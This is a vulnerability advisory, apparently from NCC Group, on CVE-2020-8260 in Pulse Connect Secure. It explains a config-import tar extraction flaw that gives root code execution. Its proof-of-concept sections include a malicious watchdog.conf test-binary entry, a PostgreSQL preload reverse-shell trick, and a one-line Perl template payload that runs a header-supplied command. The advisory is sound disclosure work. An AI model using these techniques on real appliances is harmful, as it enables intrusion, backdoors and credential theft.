Vendor: Pulse Secure
Vendor URL: https://www.pulsesecure.net/
Versions affected: Pulse Connect Secure (PCS) 9.1Rx or below
Systems Affected: Pulse Connect Secure (PCS) Appliances
CVE Identifier: CVE-2020-8260
Advisory URL: https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44601
Risk: 7.2 High CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Authors:
Richard Warren - richard.warren[at]nccgroup[dot]com
David Cash – david.cash[at]nccgroup[dot]com

Summary

The Pulse Connect Secure appliance suffers from an uncontrolled gzip extraction vulnerability which allows an attacker to overwrite arbitrary files, resulting in Remote Code Execution as root.

Impact

Successful exploitation by an authenticated administrator results in Remote Code Execution on the underlying Operating System with root privileges. An attacker with such access will be able to circumvent any restrictions enforced via the web application, as well as remount the filesystem, allowing them to create a persistent backdoor, extract and decrypt credentials, or pivot into the internal network.

Details

PCS allows administrative users to import and export archived configurations via the /dana-admin/cached/config/import.cgi CGI script. These configurations are compressed using gzip and encrypted using a hardcoded key. The user can then download the encrypted configuration file for later restoration.

During the restoration process, the user-supplied (previously exported) configuration file is decrypted using the configdecrypt binary. After decryption, the file is unpacked using tar. The following command is used to extract the configuration files from the decrypted archive:

tar -C $path -xzf $path/config.exp --strip=1 >/dev/null 2>&1

No restriction on what files are extracted is carried out, other than that the file(s) will be extracted into the directory specified by $path. On systems before PCS 9.1R4.0, the $path variable was set to /home/runtime/ meaning that any file on the (read-write mounted) data partition could be overwritten. On later systems this was changed to /home/runtime/tmp/ meaning that only files within the tmp directory could be overwritten. However, in both cases this is enough to achieve code execution.

Proof of Concept(s)

On systems before PCS 9.1R4, it was possible to overwrite any file on the /home/runtime/ partition. Although this partition does not contain any executable binaries (these are instead stored on the readonly partition), we identified a few ways in which code execution could be triggered.

Watchdog

The Linux kernel Watchdog agent is installed on PCS with its configuration file stored in the data partition at /home/runtime/kwatchdog/watchdog.conf.

Looking at the man page for Watchdog, we came across the test-binary directive. This configuration parameter specifies a binary that should be executed to carry out user-defined tests.

By overwriting the watchdog.conf file with a test-binary parameter pointing to our custom binary we could achieve code execution with the privileges of the watchdog agent (root). To demonstrate this, we wrote an exploit which used the watchdog test-binary to bootstrap the dropbear SSH server with our own SSH key. Similar could also be achieved using OpenSSH, allowing for SOCKS proxying via the compromised VPN endpoint.

The following output shows the structure of our malicious gzip file:

~ ./configdecrypt myconf.cfg myconf.gz
~ tar -zxvf myconf.gz
kwatchdog/
kwatchdog/dropbearkey
kwatchdog/deploybear
kwatchdog/watchdog.conf
kwatchdog/dropbear

The following shows the modified watchdog.conf file:

--  SNIP --
test-binary = /home/runtime/kwatchdog/deploybear
test-timeout = 3600

When the watchdog is enabled in the admin UI via the /dana-admin/sysinfo/sysoptions.cgi page, the SSH agent is bootstrapped and code execution is achieved.

PostgreSQL

The PostgreSQL database is installed on PCS and the configuration and data files are stored within the data partition at /home/runtime/pgsql/data/.

Reading the PostgreSQL documentation, we came across the shared_preload_libraries option, which is specified in the postgresql.conf file. As per the documentation, “This variable specifies one or more shared libraries to be preloaded at server start”.

By creating a malicious shared library, and modifying the shared_preload_libraries configuration to point to our uploaded library we could achieve code execution when PostgreSQL is restarted.

The following screenshot shows the overwritten postgresql.conf file, with the path to our malicious shared library containing a reverse shell.

However, when we restarted PostgreSQL, the shared library was not loaded. After some debugging we realised that this was because our arbitrary file write primitive writes the file as root, whilst PostgreSQL runs as postgres. This means that postgres will not be able to read the shared library file when it starts. To get round this, we exploited the bug twice. First, we used the file write to modify the postgresql.conf log_filename option, setting the logfile to /home/runtime/libshell.so. This causes PostgreSQL to create the libshell.so file, owned by the postgres user. We then exploit the bug again, this time overwriting the libshell.so file with our reverse shell, and changing the shared_preload_libraries option to point at our shared library. Now PostgresSQL will be able to read the file as it is owned by postgres!

Finally, when PostgreSQL is restarted via the /dana-admin/sysinfo/sysinfo.cgi CGI script, the reverse shell is executed, and code execution is achieved under the postgres user.

Template Toolkit (strikes again)

On systems running PCS 9.1R4 or above, the file-write primitive is restricted to files within the /home/runtime/tmp/ folder. However it is still possible to achieve code execution using the Perl template overwrite method first documented by Orange Tsai and Meh Chang.

PCS uses Perl Template Toolkit to compile and render templates at runtime. Compiled templates are stored in the /home/runtime/tmp/tt/ folder. By overwriting the /home/runtime/tmp/tt/setcookie.thtml.ttc, using our gzip file write primitive, arbitrary Perl code execution can be triggered when visiting the /dana-na/auth/setcookie.cgi page.

The following output shows the structure of our malicious gzip file:

~ ./configdecrypt config.exp decrypted.exp
~ tar -zxvf decrypted.exp
tmp/
tmp/tt/
tmp/tt/setcookie.thtml.ttc
~ cat tmp/tt/setcookie.thtml.ttc
system($ENV{HTTP_PULSE_CMD})

When a GET request is made to /dana-na/auth/setcookie.cgi, the command specified in the PULSE_CMD HTTP header is executed with root privileges.

Recommendation

Upgrade to Pulse Connect Secure (PCS) 9.1R9, or later.

Vendor Communication

2020-06-02: Issue reported to vendor
2020-10-22: Pulse Connect Secure (PCS) version 9.1R9 released
2020-10-26: Advisory released by Pulse Secure
2020-10-26: NCC Group advisory released

About NCC Group

NCC Group is a global expert in cybersecurity and risk mitigation, working with businesses to protect their brand, value and reputation against the ever-evolving threat landscape. With our knowledge, experience and global footprint, we are best placed to help businesses identify, assess, mitigate & respond to the risks they face. We are passionate about making the Internet safer and revolutionizing the way in which organizations think about cybersecurity.

Published Date: 26/10/2020

Written by: Richard Warren & David Cash